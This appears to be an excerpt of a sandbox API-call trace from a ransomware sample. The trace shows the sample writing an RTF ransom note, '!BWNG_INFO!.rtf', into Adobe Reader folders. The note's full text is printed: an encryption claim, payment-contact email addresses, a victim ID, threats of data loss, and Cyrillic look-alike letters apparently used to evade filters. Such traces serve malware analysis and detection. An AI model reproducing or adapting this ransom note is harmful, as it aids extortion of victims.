Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'ee\\f0\\lang1033 n't w\\f1\\lang1049\\'ee\\f0\\lang1033 rr\\f1\\lang1049\\'f3\\f0\\lang1033 !\\par\r\nB\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n b\\f1\\lang1049\\'e5\\f0\\lang1033 REST\\f1\\lang1049\\'ce\\f0\\lang1033 RED T\\f1\\lang1049\\'ce\\f0\\lang1033 D\\f1\\lang1049\\'c0\\f0\\lang1033 Y!\\par\r\nW\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 in t\\f1\\lang1049\\'ee\\f0\\lang1033 u\\f1\\lang1049\\'f1\\f0\\lang1033 h 24/7 \\f1\\lang1049\\'e0\\f0\\lang1033 nd r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 d\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 h\\f1\\lang1049\\'e5\\f0\\lang1033 lp \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u!\\par\r\nIf \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u n\\f1\\lang1049\\'ee\\f0\\lang1033 t r\\f1\\lang1049\\'e5\\'f1\\'e5\\f0\\lang1033 iv\\f1\\lang1049\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 nsw\\f1\\lang1049\\'e5\\f0\\lang1033 r pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il \\f1\\lang1049\\'e0\\f0\\lang1033 dr\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e5\\f0\\lang1033 s!\\par\r\n\\cf0\\b0\\fs24\\par\r\n\\cf5\\b\\fs28 BVlu3fKE\\cf0\\f1\\fs32\\lang1049\\par\r\n\r\n\\pard\\sa200\\sl240\\slmult1\\par\r\n}\r\n3Ð\x8aU", lpUsedDefaultChar=0x0) returned 14086 [0034.339] WriteFile (in: hFile=0x1d4, lpBuffer=0x1dae208*, nNumberOfBytesToWrite=0x3706, lpNumberOfBytesWritten=0x390fdbc, lpOverlapped=0x0 | out: lpBuffer=0x1dae208*, lpNumberOfBytesWritten=0x390fdbc*=0x3706, lpOverlapped=0x0) returned 1 [0034.340] CloseHandle (hObject=0x1d4) returned 1 [0034.340] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\NLD\\!BWNG_INFO!.rtf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\nld\\!bwng_info!.rtf")) returned 0xffffffff [0034.340] GetLastError () returned 0x2 [0034.340] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\NLD\\!BWNG_INFO!.rtf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\nld\\!bwng_info!.rtf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1d4 [0034.340] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="{\\rtf1\\ansi\\ansicpg1251\\deff0\\nouicompat\\deflang1049{\\fonttbl{\\f0\\fnil\\fcharset0 Calibri;}{\\f1\\fnil\\fcharset204 Calibri;}}\r\n{\\colortbl ;\\red255\\green0\\blue0;\\red155\\green0\\blue211;\\red255\\green255\\blue0;\\red0\\green176\\blue80;\\red255\\green255\\blue255;}\r\n{\\*\\generator Riched20 10.0.15063}\\viewkind4\\uc1 \r\n\\pard\\ri-500\\sa200\\sl240\\slmult1\\qc\\tx8804\\ul\\b\\f0\\fs28\\lang1033 SHIT H\\f1\\lang1049\\'c0\\f0\\lang1033 PPENS!\\ulnone\\f1\\lang1049\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\qc\\tx8378\\f0\\fs24\\lang1033 WE H\\f1\\lang1049\\'c0\\f0\\lang1033 VE T\\f1\\lang1049\\'ce\\f0\\lang1033 INF\\f1\\lang1049\\'ce\\f0\\lang1033 RM Y\\f1\\lang1049\\'ce\\f0\\lang1033 U TH\\f1\\lang1049\\'c0\\f0\\lang1033 T \\f1\\lang1049\\'c0\\f0\\lang1033 LL Y\\f1\\lang1049\\'ce\\f0\\lang1033 UR FILES WERE ENCRYPTED!\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf1\\par\r\n\\cf0 PLE\\f1\\lang1049\\'c0\\f0\\lang1033 SE BE SURE, Y\\f1\\lang1049\\'ce\\f0\\lang1033 UR FILES \\f1\\lang1049\\'c0\\f0\\lang1033 RE N\\f1\\lang1049\\'ce\\f0\\lang1033 T BR\\f1\\lang1049\\'ce\\f0\\lang1033 KEN!\\b0\\par\r\n\\i Y\\f1\\lang1049\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s w\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d with str\\f1\\lang1049\\'ee\\f0\\lang1033 ng \\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lg\\f1\\lang1049\\'ee\\f0\\lang1033 rithms.\\i0\\par\r\n\\i * Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t th\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 is n\\f1\\lang1049\\'ee\\f0\\lang1033 w\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s with\\f1\\lang1049\\'ee\\f0\\lang1033 ut uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 nd sp\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 i\\f1\\lang1049\\'e0\\f0\\lang1033 l s\\f1\\lang1049\\'ee\\f0\\lang1033 ftw\\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 . Y\\f1\\lang1049\\'ee\\f0\\lang1033 ur uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 is s\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 ur\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'f3\\f0\\lang1033 st\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 n \\f1\\lang1049\\'ee\\f0\\lang1033 ur s\\f1\\lang1049\\'e5\\f0\\lang1033 rv\\f1\\lang1049\\'e5\\f0\\lang1033 r.\\par\r\n* T\\f1\\lang1049\\'ee\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u n\\f1\\lang1049\\'e5\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 ur sp\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 ifi\\f1\\lang1049\\'f1\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ut\\f1\\lang1049\\'ee\\f0\\lang1033 m\\f1\\lang1049\\'e0\\f0\\lang1033 ti\\f1\\lang1049\\'f1\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n t\\f1\\lang1049\\'ee\\'ee\\f0\\lang1033 l \\f1\\lang1049\\'e0\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 .\\par\r\n* \\f1\\lang1049\\'c0\\f0\\lang1033 ll \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s w\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 d but \\f1\\lang1049\\'e0\\f0\\lang1033 ft\\f1\\lang1049\\'e5\\f0\\lang1033 r d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n pr\\f1\\lang1049\\'ee\\'f1\\'e5\\f0\\lang1033 ss fil\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 s will b\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 d t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 rigin\\f1\\lang1049\\'e0\\f0\\lang1033 l st\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 . D\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 stru\\f1\\lang1049\\'f1\\f0\\lang1033 tur\\f1\\lang1049\\'e5\\f0\\lang1033 will n\\f1\\lang1049\\'ee\\f0\\lang1033 t \\f1\\lang1049\\'f1\\f0\\lang1033 h\\f1\\lang1049\\'e0\\f0\\lang1033 ng\\f1\\lang1049\\'e5\\f0\\lang1033 .\\par\r\n* Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 b\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t \\f1\\lang1049\\'e0\\f0\\lang1033 ll th\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 tt\\f1\\lang1049\\'e5\\f0\\lang1033 mpts t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s b\\f1\\lang1049\\'f3\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 urs\\f1\\lang1049\\'e5\\f0\\lang1033 lf \\f1\\lang1049\\'ee\\f0\\lang1033 r using third p\\f1\\lang1049\\'e0\\f0\\lang1033 rt\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\'ee\\f0\\lang1033 ls \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n r\\f1\\lang1049\\'e5\\f0\\lang1033 sult in irr\\f1\\lang1049\\'e5\\f0\\lang1033 v\\f1\\lang1049\\'ee\\'f1\\'e0\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'ee\\f0\\lang1033 ss \\f1\\lang1049\\'ee\\f0\\lang1033 f \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 !\\b\\i0\\par\r\n\\par\r\nWH\\f1\\lang1049\\'c0\\f0\\lang1033 T D\\f1\\lang1049\\'ce\\f0\\lang1033 Y\\f1\\lang1049\\'ce\\f0\\lang1033 U NEED T\\f1\\lang1049\\'ce\\f0\\lang1033 D\\f1\\lang1049\\'ce\\f0\\lang1033 ?\\par\r\n\\b0 First \\f1\\lang1049\\'ee\\f0\\lang1033 f \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u h\\f1\\lang1049\\'e0\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 us b\\f1\\lang1049\\'f3\\f0\\lang1033 \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\par\r\n\r\n\\pard\\sl240\\slmult1\\f1\\lang1049\\'ce\\f0\\lang1033 ur first \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab \\b\\fs28 billwong73@yahoo.com\\par\r\n\\b0\\f1\\fs24\\lang1049\\'ce\\f0\\lang1033 ur s\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 nd \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab\\tab\\b\\fs28 billwong73@protonmail.com\\par\r\n\\b0\\f1\\fs24\\lang1049\\'ce\\f0\\lang1033 ur third \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab\\tab\\b\\fs28 billwong73@aol.com\\cf1\\fs24\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf0\\b0\\par\r\n\r\n\\pard\\sl240\\slmult1\\cf1\\ul\\b\\f1\\fs28\\lang1049\\'c0\\f0\\lang1033 TTENTI\\f1\\lang1049\\'ce\\f0\\lang1033 N!\\par\r\n\\ulnone\\fs26 If \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u w\\f1\\lang1049\\'e0\\f0\\lang1033 nt t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 us t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il \\f1\\lang1049\\'e0\\f0\\lang1033 dr\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e5\\f0\\lang1033 s!\\par\r\nIt is r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 ll\\f1\\lang1049\\'f3\\f0\\lang1033 imp\\f1\\lang1049\\'ee\\f0\\lang1033 rt\\f1\\lang1049\\'e0\\f0\\lang1033 nt b\\f1\\lang1049\\'e5\\'f1\\'e0\\f0\\lang1033 us\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 f d\\f1\\lang1049\\'e5\\f0\\lang1033 liv\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pr\\f1\\lang1049\\'ee\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 ms with s\\f1\\lang1049\\'ee\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 m\\f1\\lang1049\\'e0\\f0\\lang1033 il s\\f1\\lang1049\\'e5\\f0\\lang1033 rvi\\f1\\lang1049\\'f1\\'e5\\f0\\lang1033 s!\\par\r\nPl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 b\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 w\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lw\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 s in t\\f1\\lang1049\\'ee\\f0\\lang1033 u\\f1\\lang1049\\'f1\\f0\\lang1033 h \\f1\\lang1049\\'e0\\f0\\lang1033 nd r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 d\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 h\\f1\\lang1049\\'e5\\f0\\lang1033 lp \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u!\\par\r\nIf \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u will n\\f1\\lang1049\\'ee\\f0\\lang1033 t r\\f1\\lang1049\\'e5\\'f1\\'e5\\f0\\lang1033 iv\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 nsw\\f1\\lang1049\\'e5\\f0\\lang1033 r in 24 h\\f1\\lang1049\\'ee\\f0\\lang1033 urs, pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 !\\par\r\n\\cf2\\fs28 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lw\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 s \\f1\\lang1049\\'f1\\f0\\lang1033 h\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 k SP\\f1\\lang1049\\'c0\\f0\\lang1033 M f\\f1\\lang1049\\'ee\\f0\\lang1033 ld\\f1\\lang1049\\'e5\\f0\\lang1033 r!\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf0\\b0\\fs26 * \\i Writ\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 n English \\f1\\lang1049\\'ee\\f0\\lang1033 r us\\f1\\lang1049\\'e5\\f0\\lang1033 pr\\f1\\lang1049\\'ee\\f0\\lang1033 f\\f1\\lang1049\\'e5\\f0\\lang1033 ssi\\f1\\lang1049\\'ee\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 l tr\\f1\\lang1049\\'e0\\f0\\lang1033 nsl\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\i0\\par\r\n\\fs24\\par\r\n\\highlight3\\fs28 In subj\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 t lin\\f1\\lang1049\\'e5\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur p\\f1\\lang1049\\'e5\\f0\\lang1033 rs\\f1\\lang1049\\'ee\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 l ID: \\b 494DCEE6F0485AF8\\par\r\n\\highlight0\\par\r\nF\\f1\\lang1049\\'ee\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 ssur\\f1\\lang1049\\'e0\\f0\\lang1033 n\\f1\\lang1049\\'f1\\'e5\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n \\f1\\lang1049\\'e0\\f0\\lang1033 tt\\f1\\lang1049\\'e0\\'f1\\f0\\lang1033 h up t\\f1\\lang1049\\'ee\\f0\\lang1033 3 sm\\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d fil\\f1\\lang1049\\'e5\\f0\\lang1033 s t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 . W\\f1\\lang1049\\'e5\\f0\\lang1033 will d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'e0\\f0\\lang1033 nd s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d fil\\f1\\lang1049\\'e5\\f0\\lang1033 s f\\f1\\lang1049\\'ee\\f0\\lang1033 r fr\\f1\\lang1049\\'e5\\'e5\\f0\\lang1033 . \\par\r\n\\i\\f1\\fs24\\lang1049 * \\f0\\lang1033 \\f1\\lang1049 \\f0\\lang1033 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t fil\\f1\\lang1049\\'e5\\f0\\lang1033 s must n\\f1\\lang1049\\'ee\\f0\\lang1033 t \\f1\\lang1049\\'f1\\'ee\\f0\\lang1033 nt\\f1\\lang1049\\'e0\\f0\\lang1033 in \\f1\\lang1049\\'e0\\f0\\lang1033 n\\f1\\lang1049\\'f3\\f0\\lang1033 v\\f1\\lang1049\\'e0\\f0\\lang1033 lu\\f1\\lang1049\\'e0\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 inf\\f1\\lang1049\\'ee\\f0\\lang1033 rm\\f1\\lang1049\\'e0\\f0\\lang1033 ti\\f1\\lang1049\\'ee\\f0\\lang1033 n \\f1\\lang1049\\'e0\\f0\\lang1033 nd th\\f1\\lang1049\\'e5\\f0\\lang1033 ir t\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 l siz\\f1\\lang1049\\'e5\\f0\\lang1033 must b\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'e5\\f0\\lang1033 ss th\\f1\\lang1049\\'e0\\f0\\lang1033 n 5Mb. \\par\r\n\\i0\\par\r\n\\cf4\\fs26 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'ee\\f0\\lang1033 n't w\\f1\\lang1049\\'ee\\f0\\lang1033 rr\\f1\\lang1049\\'f3\\f0\\lang1033 !\\par\r\nB\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n b\\f1\\lang1049\\'e5\\f0\\lang1033 REST\\f1\\lang1049\\'ce\\f0\\lang1033 RED T\\f1\\lang1049\\'ce\\f0\\lang1033 D\\f1\\lang1049\\'c0\\f0\\lang1033 Y!\\par\r\nW\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 in t\\f1\\lang1049\\'ee\\f0\\lang1033 u\\f1\\lang1049\\'f1\\f0\\lang1033 h 24/7 \\f1\\lang1049\\'e0\\f0\\lang1033 nd r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 d\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 h\\f1\\lang1049\\'e5\\f0\\lang1033 lp \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u!\\par\r\nIf \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u n\\f1\\lang1049\\'ee\\f0\\lang1033 t r\\f1\\lang1049\\'e5\\'f1\\'e5\\f0\\lang1033 iv\\f1\\lang1049\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 nsw\\f1\\lang1049\\'e5\\f0\\lang1033 r pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il \\f1\\lang1049\\'e0\\f0\\lang1033 dr\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e5\\f0\\lang1033 s!\\par\r\n\\cf0\\b0\\fs24\\par\r\n\\cf5\\b\\fs28 BVlu3fKE\\cf0\\f1\\fs32\\lang1049\\par\r\n\r\n\\pard\\sa200\\sl240\\slmult1\\par\r\n}\r\n", cchWideChar=14086, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14086 [0034.341] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="{\\rtf1\\ansi\\ansicpg1251\\deff0\\nouicompat\\deflang1049{\\fonttbl{\\f0\\fnil\\fcharset0 Calibri;}{\\f1\\fnil\\fcharset204 Calibri;}}\r\n{\\colortbl 